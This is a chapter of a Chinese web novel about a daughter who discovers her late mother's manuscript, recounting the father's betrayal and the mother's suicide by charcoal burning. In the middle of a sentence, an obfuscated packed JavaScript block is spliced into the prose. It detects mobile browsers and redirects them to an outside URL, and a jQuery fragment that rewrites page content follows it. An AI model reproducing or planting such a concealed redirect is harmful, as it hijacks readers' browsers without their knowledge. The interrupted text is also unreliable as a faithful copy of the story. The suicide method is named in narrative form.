变故发生在2021年春天，气温还没转暖。
有天母亲给她打电话，说想她了，让她回家陪自己聊聊天。叶蓁蓁说，等自己忙完这一阵就回去。
可还没等到这阵子过去，卓玫珍就离开了。
死因是密闭空间内燃炭，一氧化碳中毒身亡。
叶蓁蓁不知道母亲为什么自杀，她对母亲的了解太少，交流也少。印象里，母亲没有爱好，没有朋友，跟娘家断了联系，是普通的家庭主妇。
家庭就是她的一切。
她停了手上的工作，开始操办母亲的后事，却遭到叶启铭的反对。他说自杀是件不光彩的事，不能办葬礼。叶蓁蓁不听，执意要办，父女俩僵持不下。
最后，母亲的葬礼叶启铭没来，其他人也跟着不来。
这场葬礼，变成了母女俩的告别仪式。她不明白，自己一直崇拜的父亲，是从什么时候开始变的。
母亲头七刚过，父亲带别的女人回家，并向她宣布领证的消息。叶蓁蓁认出了她，她是叶启铭曾经教过的学生。
那一瞬间，她只觉得信念崩塌。
她引以为傲的父亲，是个人渣。
叶蓁蓁大闹一场却没有用，那女人还是住了进来，霸占母亲的主卧。无奈之下，她只能把母亲的遗物全搬到自己家，免得被他们扔掉。
卓玫珍这么多年没积攒下什么，除了衣物和首饰，就只有一本没有封面的书。叶蓁蓁翻开第一页，引入眼帘的是娟秀的字体，才发觉这是母亲的手稿。
母亲居然也会写文章。
密密麻麻间，她知道了二十年前的故事。
*
叶启铭少时家境贫寒，但爱读书会写文章。他想上学，家里就砸锅卖铁供他读书，好在他争气，考试成绩一直名列前茅。
1980年夏天，高考成绩公布，叶启铭以全县第一的成绩考上了海市师范大学。
本以为人生从此坦途，可到了海市，叶启铭才知道自己与这座城市的差距。同学穿着时髦的衣服，谈论着他从未听过的唱片和电影。他勤工俭学度过大学四年，成绩优异，年年拿奖学金。
可毕业时，其他同学们靠着家里的关系进了机关单位、重点中学，他却只能攥着简历，在人才市场里四处碰壁。
“海市的学校没有空缺职位了。”辅导员语气里满是惋惜，“要不去乡村学校当老师？都是为了教育，在哪儿不重要。”
最终，他踏上了前往裕市万古镇的汽车，在镇小学担任语文老师。乡村小学条件艰苦。桌椅破旧，教室漏风漏雨，教师薪水微薄。他虽有不满，却也无可奈何，只能在笔下发发牢骚。
就在这片贫瘠的土地上，他遇见了卓玫珍。
她只读过小学，崇拜读书人，对大城市也好奇。听说镇小学新来一名城里来的年轻老师，便常去偷听他上课。
一来二去，两人渐渐熟络起来。
叶启铭会给卓玫珍讲城里的故事，讲他在大学图书馆里读到的书。卓玫珍每次听得极认真，毫不掩饰对他的崇拜。
1988年的冬天，叶启铭把自己这些年写的稿子整理成散文集，投稿给海市一家出版社。本来没抱太大希望，可三个月后收到出版社的回信，编辑说，他们决定出版。
叶启铭喜出望外，开始做起大作家的梦，当即辞了老师一职，决定回海市宣传新书。临走前，他找到卓玫珍，劝她跟自己一起走。
那天晚上，村口的黄桷树下，月光透过树叶的缝隙，照在两人紧握的双手上。叶启铭语气坚定：“玫珍，跟我去海市吧。我向你保证，我会一辈子对你好，让你过上好日子。我想让你陪着我，看我写出更多的书。”
卓玫珍想着他口中未来，心跳得飞快。她知道父母会反对，知道离开家乡会有不舍，可爱情的力量太强大，让她甘愿放下一切。
于是，她做了一个令她后悔终身的决定。一个普通的清晨，她收拾好自己的行李，趁着父母还没起床，悄悄离开了家。
可预期的幸福生活没有到来。
叶启铭的新书无人问津，出版社催他交版面费。他觉得屈辱，从此一门心思都放在写作上，只能让卓玫珍赚钱养家。
日子虽然苦，但两人相爱，可共渡千难。
全职写作的第十年，卓玫珍怀孕了，叶启铭的作家梦败给了柴米油盐，他只能去报社兼职赚钱。
叶蓁蓁出生那天，叶启铭拿着刚领的三百元稿费，一路跑着去医院。看着襁褓里皱巴巴的女儿，再看看病床上脸色苍白的卓玫珍，眼眶里的热气终于忍不住漫了出来。
叶蓁蓁很快到了上幼儿园的年纪，日子依旧拮据。
夫妻俩为了生计发愁，开始频繁吵架，嫌隙也越来越深。卓玫珍怨他不找一个正经工作，挣不到钱；叶启铭气她不懂自己，觉得她变了。
转折发生在叶蓁蓁上一年级那年。
叶启铭的处女作经由出版社再出版，受到一位知名作家的长评推荐，销量一夜暴涨，登上各大图书排行榜榜首，叶启铭在文坛打响名头。
“这是一本能让人想起故乡泥土气息的书，字里行间全是小人物的挣扎与坚守，每个在异乡打拼过的人，都能在里面找到自己的影子。”
后来，因为女儿说“爸爸的名字里有三个口，代表我们一家三口”，叶启铭正式用笔名“叁口”创作。作品一部比一部火，名气一天比一天响。
他开始经常不归家，工作、应酬什么借口都用过。他身上的味道也变了，不是熟悉的墨水味，而是香水味。
夫妻二十余年，卓玫珍怎么可能没察觉丈夫的异常？但她从不过问，她不敢过问。
她单纯的以为，只要不戳破，就能当作什么都没发生，他依旧是从前那个叶启铭，依旧是个好丈夫、好爸爸，他们家依旧是那个温暖的家。
卓玫珍一直忍，忍不住就写，渐渐的，委屈和不满写成一本书。
可忍让带来的不是体谅，而是变本加厉。叶启铭提出了离婚，态度坚决，卓玫珍终于忍不了了，将这么多年的不满倾吐出来，指着他的鼻子控诉。
最后一丝夫妻情分荡然无存。
叶启铭气急败坏，摔门离开之前跟她说了最后一句话：“你看看你现在，简直是个疯子。”
文人泛情，多是不长久。
成名作中，他最爱的女人是发妻；新书中，他最爱的女人是新欢。
卓玫珍看着他的背影，笑了。
她早就疯了。
家庭，让一个女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816928|190932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人变成疯子。
其实她对丈夫早已没有爱，但家庭是她苦苦经营二十年的事业，是她的全部，是她存在的意义。她不允许任何人毁掉它。
那个寻常的午后，在空荡的房间，她紧闭门窗，点燃炭盆，躺在床上等待死亡。
弥留之际，她一遍遍告诉自己：你的人生是成功的。
没有离异，只有丧偶。
*
书的最后一页写了两行字：
“之前，我没脸回家；死后，我想回家。
黄桷树快开花了吧，我要回家了。”
纸上晕开泪滴，叶蓁蓁泣不成声。
她错了。
母亲不是没有爱好。她爱文学，也爱写作，只是觉得自己写得不好，而不显于人前。
叶蓁蓁将整理好的文稿发到个人社交帐号，控诉自己父亲忘恩负义、抛弃发妻，可还没等舆论发酵，那则动态就被官方删除。
背后指使之人显而易见。
叶启铭来找她算账，却先被她骂得狗血淋头。末了，她说：“你的虚伪让我感到恶心，我怎么会有你这样的父亲。”
父权遭到挑战，叶启铭的斯文面具再也挂不住，露出狰狞的獠牙：“叶蓁蓁！你现在翅膀硬了，有能耐了！敢跟老子叫板！你别忘了，你身上流的血是老子的，你的姓是老子的，就连你现在的好名声，也是因为我！”
“你以为那些出版社为什么愿意出版你的作品？还不是因为我！还不是因为你爹是我！否则就凭你那些无病呻吟的文章，能有什么成就！”
“你的名声？”她觉得好笑，“沾花惹草、逼死发妻，真是好名声啊......”
话还没说完，叶蓁蓁的右脸落下一巴掌。叶启铭用足了力气，叶蓁蓁只觉得脑袋发晕，喉间泛起腥甜。
她最后看了眼发怒的男人，强忍着恶心：“我会改名换姓，绝不靠你的‘好’名声。”
“从今往后，我们除了血缘关系，再没有半点瓜葛。”
之后她改姓卓，以笔名“桢桢”作为名。然后独自一人飞到裕市，凭着记忆和母亲留下的地址，一路奔波，深夜抵达外婆家。
她上一次来这里还是十岁的时候，明明应该感觉陌生，却在见到外公外婆的时候，心倏地放松。
她没提前打招呼，把家里人都吓了一跳。
外婆见了她，泪眼婆娑，抱着她哭喊：“你这傻孩子怎么不提前说一声，好让你哥哥去接你。大晚上的要是出事了怎么办，你让外婆怎么办呐......”
“桢桢呐——我苦命的桢桢——可怜的孩子——”
卓桢桢在她怀里默默流泪。
外婆当时喊的是“桢桢”还是“珍珍”，她不知道。
卓玫珍的骨灰埋在了她早夭三哥旁边，往远处眺望，能够看到村口的黄桷树。
她们回家了。
*
【小剧场】
母亲坚韧，从来没有向我提过那二十多年的苦；母亲软弱，遭遇背叛却只惩罚自己。她羡慕父亲读过很多书，羡慕我能写文章，其实她也可以，只是不敢。
这本书，是纪念母亲而写，写她的故乡和故乡发生的事。
——《黄桷兰的故事(序言)》